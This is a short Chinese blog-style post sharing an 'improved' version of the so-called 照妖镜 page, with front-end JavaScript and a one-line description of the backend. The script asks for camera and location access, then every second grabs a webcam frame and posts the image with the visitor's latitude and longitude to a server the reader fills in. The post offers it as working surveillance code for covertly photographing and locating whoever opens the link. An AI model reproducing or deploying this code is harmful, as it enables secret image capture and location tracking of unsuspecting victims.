前言:
最近一个名叫照妖镜的源码很火,我就研究了一下他的代码,发现也不过如此,然后我进行了一些优化和拓展
前端:
<script>
//拍照
window.addEventListener("DOMContentLoaded", function () {
var canvas = document.getElementById('canvas');
var context = canvas.getContext('2d');
var video = document.getElementById('video');
var mediaConfig = { video: true };
var errBack = function (e) {
console.log('An error has occurred!', e)
};
//获取摄像头授权
// Put video listeners into place
if (navigator.mediaDevices && navigator.mediaDevices.getUserMedia) {
navigator.mediaDevices.getUserMedia(mediaConfig).then(function (stream) {
try {
video.srcObject = stream;
} catch (error) {
video.src = window.URL.createObjectURL(stream);
}
video.play();
});
} else if (navigator.getUserMedia) { // Standard
navigator.getUserMedia(mediaConfig, function (stream) {
video.src = stream;
video.play();
}, errBack);
} else if (navigator.webkitGetUserMedia) { // WebKit-prefixed
navigator.webkitGetUserMedia(mediaConfig, function (stream) {
try {
video.srcObject = stream;
} catch (error) {
video.src = window.URL.createObjectURL(stream);
}
video.play();
}, errBack);
} else if (navigator.mozGetUserMedia) { // Mozilla-prefixed
navigator.mozGetUserMedia(mediaConfig, function (stream) {
try {
video.srcObject = stream;
} catch (error) {
video.src = window.URL.createObjectURL(stream);
}
video.play();
}, errBack);
}
longitude = '未授权定位'
latitude = '未授权定位'
function latitude_inquiry() {
//获取经纬度
if (navigator.geolocation) {
navigator.geolocation.getCurrentPosition(
function (position) {
longitude = position.coords.longitude;
latitude = position.coords.latitude;
},
)
}
}
//防止授权请求结束
latitude_inquiry()
function doStuff() {
context.drawImage(video, 0, 0, 1000, 800);
var url = canvas.toDataURL('image/png');
var uu = url.substr(22);
$.post("替换为自己的后端接口地址", {
Photo: url, //图片64
longitudel: longitude, //经度
latitudel: latitude, //纬度
},
);
}
setInterval(doStuff, 999);
}, false);
</script>
后端就不用多说了吧,接收经纬度字段然后用saveBase64File($post[‘Photo’])接收图片就完事了